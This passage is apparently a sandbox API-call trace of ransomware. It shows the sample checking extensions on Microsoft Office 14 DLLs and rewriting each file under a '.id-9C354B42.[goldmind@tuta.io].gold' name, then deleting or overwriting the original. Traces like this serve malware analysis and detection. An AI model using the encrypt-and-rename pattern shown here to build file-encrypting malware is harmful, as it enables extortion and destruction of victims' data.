lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0050.552] lstrlenW (lpString=".bz2") returned 4 [0050.552] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0050.552] lstrlenW (lpString=".7z") returned 3 [0050.552] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0050.552] lstrlenW (lpString=".dbf") returned 4 [0050.552] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0050.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0050.552] lstrlenW (lpString=".1cd") returned 4 [0050.552] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0050.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0050.552] lstrlenW (lpString=".jpg") returned 4 [0050.552] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0050.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0050.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0050.553] lstrlenW (lpString=".doc") returned 4 [0050.553] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0050.553] lstrlenW (lpString=".docx") returned 5 [0050.553] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0050.553] lstrlenW (lpString=".pdf") returned 4 [0050.553] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0050.553] lstrlenW (lpString=".xls") returned 4 [0050.553] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0050.553] lstrlenW (lpString=".xlsx") returned 5 [0050.553] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0050.553] lstrlenW (lpString=".ppt") returned 4 [0050.553] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0050.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0050.553] lstrlenW (lpString=".zip") returned 4 [0050.553] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0050.553] lstrlenW (lpString=".rar") returned 4 [0050.553] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0050.553] lstrlenW (lpString=".bz2") returned 4 [0050.553] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0050.553] lstrlenW (lpString=".7z") returned 3 [0050.553] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0050.553] lstrlenW (lpString=".dbf") returned 4 [0050.553] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0050.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0050.553] lstrlenW (lpString=".1cd") returned 4 [0050.553] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0050.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0050.553] lstrlenW (lpString=".jpg") returned 4 [0050.553] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0050.553] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0050.553] lstrlenW (lpString="ALRTINTL.DLL") returned 12 [0050.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0050.554] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=154448) returned 1 [0050.554] CloseHandle (hObject=0x178) returned 1 [0050.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 0x20 [0050.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0050.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0050.554] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0050.554] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0050.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.554] GetLastError () returned 0x0 [0050.554] ReadFile (in: hFile=0x178, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x25b50, lpOverlapped=0x0) returned 1 [0050.561] WriteFile (in: hFile=0x1b0, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0x25b60, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0x25b60, lpOverlapped=0x0) returned 1 [0050.564] ReadFile (in: hFile=0x178, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0050.564] WriteFile (in: hFile=0x1b0, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.564] SetEndOfFile (hFile=0x1b0) returned 1 [0050.564] CloseHandle (hObject=0x1b0) returned 1 [0050.564] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0050.564] SetEndOfFile (hFile=0x178) returned 1 [0050.565] CloseHandle (hObject=0x178) returned 1 [0050.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0050.566] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 1 [0050.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0050.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0050.566] lstrlenW (lpString=".doc") returned 4 [0050.566] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0050.566] lstrlenW (lpString=".docx") returned 5 [0050.566] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0050.566] lstrlenW (lpString=".pdf") returned 4 [0050.566] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0050.566] lstrlenW (lpString=".xls") returned 4 [0050.566] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0050.566] lstrlenW (lpString=".xlsx") returned 5 [0050.566] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0050.566] lstrlenW (lpString=".ppt") returned 4 [0050.566] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0050.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0050.566] lstrlenW (lpString=".zip") returned 4 [0050.566] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0050.566] lstrlenW (lpString=".rar") returned 4 [0050.566] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0050.566] lstrlenW (lpString=".bz2") returned 4 [0050.566] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0050.566] lstrlenW (lpString=".7z") returned 3 [0050.566] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0050.566] lstrlenW (lpString=".dbf") returned 4 [0050.566] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0050.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0050.566] lstrlenW (lpString=".1cd") returned 4 [0050.566] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0050.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0050.566] lstrlenW (lpString=".jpg") returned 4 [0050.567] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0050.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0050.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0050.567] lstrlenW (lpString=".doc") returned 4 [0050.567] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0050.567] lstrlenW (lpString=".docx") returned 5 [0050.567] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0050.567] lstrlenW (lpString=".pdf") returned 4 [0050.567] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0050.567] lstrlenW (lpString=".xls") returned 4 [0050.567] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0050.567] lstrlenW (lpString=".xlsx") returned 5 [0050.567] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0050.567] lstrlenW (lpString=".ppt") returned 4 [0050.567] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0050.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0050.567] lstrlenW (lpString=".zip") returned 4 [0050.567] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0050.567] lstrlenW (lpString=".rar") returned 4 [0050.567] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0050.567] lstrlenW (lpString=".bz2") returned 4 [0050.567] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0050.567] lstrlenW (lpString=".7z") returned 3 [0050.567] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0050.567] lstrlenW (lpString=".dbf") returned 4 [0050.567] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0050.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0050.567] lstrlenW (lpString=".1cd") returned 4 [0050.567] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0050.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL") returned 73 [0050.567] lstrlenW (lpString=".jpg") returned 4 [0050.567] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0050.567] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0050.567] lstrlenW (lpString="MSOINTL.DLL") returned 11 [0050.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0050.568] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=2528128) returned 1 [0050.568] CloseHandle (hObject=0x178) returned 1 [0050.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll")) returned 0x20 [0050.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0050.568] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0050.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0050.569] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0050.569] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0050.569] ReadFile (in: hFile=0x178, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.572] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xcdbd5, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0050.573] ReadFile (in: hFile=0x178, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.580] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0050.580] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x229380, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0050.580] ReadFile (in: hFile=0x178, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.596] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0050.596] WriteFile (in: hFile=0x178, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0050.609] SetEndOfFile (hFile=0x178) returned 1 [0050.609] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f540a0 [0050.612] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0050.612] WriteFile (in: hFile=0x178, lpBuffer=0x3f540a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f540a0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.613] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xcdbd5, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0050.613] WriteFile (in: hFile=0x178, lpBuffer=0x3f540a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f540a0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.724] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x229380, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0050.724] WriteFile (in: hFile=0x178, lpBuffer=0x3f540a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f540a0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.726] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f540a0 | out: hHeap=0x880000) returned 1 [0050.726] CloseHandle (hObject=0x178) returned 1 [0050.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0050.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0050.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0050.727] lstrlenW (lpString=".doc") returned 4 [0050.727] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0050.727] lstrlenW (lpString=".docx") returned 5 [0050.727] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0050.727] lstrlenW (lpString=".pdf") returned 4 [0050.727] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0050.727] lstrlenW (lpString=".xls") returned 4 [0050.727] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0050.727] lstrlenW (lpString=".xlsx") returned 5 [0050.727] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0050.727] lstrlenW (lpString=".ppt") returned 4 [0050.727] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0050.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0050.727] lstrlenW (lpString=".zip") returned 4 [0050.727] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0050.727] lstrlenW (lpString=".rar") returned 4 [0050.727] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0050.727] lstrlenW (lpString=".bz2") returned 4 [0050.727] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0050.727] lstrlenW (lpString=".7z") returned 3 [0050.727] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0050.727] lstrlenW (lpString=".dbf") returned 4 [0050.727] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0050.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0050.727] lstrlenW (lpString=".1cd") returned 4 [0050.727] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0050.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0050.727] lstrlenW (lpString=".jpg") returned 4 [0050.727] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0050.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0050.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0050.727] lstrlenW (lpString=".doc") returned 4 [0050.727] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0050.727] lstrlenW (lpString=".docx") returned 5 [0050.727] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0050.727] lstrlenW (lpString=".pdf") returned 4 [0050.727] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0050.727] lstrlenW (lpString=".xls") returned 4 [0050.727] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0050.727] lstrlenW (lpString=".xlsx") returned 5 [0050.727] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0050.727] lstrlenW (lpString=".ppt") returned 4 [0050.727] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0050.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0050.727] lstrlenW (lpString=".zip") returned 4 [0050.728] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0050.728] lstrlenW (lpString=".rar") returned 4 [0050.728] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0050.728] lstrlenW (lpString=".bz2") returned 4 [0050.728] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0050.728] lstrlenW (lpString=".7z") returned 3 [0050.728] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0050.728] lstrlenW (lpString=".dbf") returned 4 [0050.728] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0050.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0050.728] lstrlenW (lpString=".1cd") returned 4 [0050.728] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0050.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0050.728] lstrlenW (lpString=".jpg") returned 4 [0050.728] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0050.728] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0050.728] lstrlenW (lpString="MSSOAPR3.DLL") returned 12 [0050.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0050.758] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=41864) returned 1 [0050.758] CloseHandle (hObject=0x19c) returned 1 [0050.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll")) returned 0x20 [0050.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0050.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0050.758] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0050.758] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0050.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\mssoapr3.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.758] GetLastError () returned 0x0 [0050.758] ReadFile (in: hFile=0x19c, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0xa388, lpOverlapped=0x0) returned 1 [0050.760] WriteFile (in: hFile=0x210, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xa390, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xa390, lpOverlapped=0x0) returned 1 [0050.761] ReadFile (in: hFile=0x19c, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0050.761] WriteFile (in: hFile=0x210, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.762] SetEndOfFile (hFile=0x210) returned 1 [0050.762] CloseHandle (hObject=0x210) returned 1 [0050.762] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0050.762] SetEndOfFile (hFile=0x19c) returned 1 [0050.763] CloseHandle (hObject=0x19c) returned 1 [0050.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSOAPR3.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0050.763] 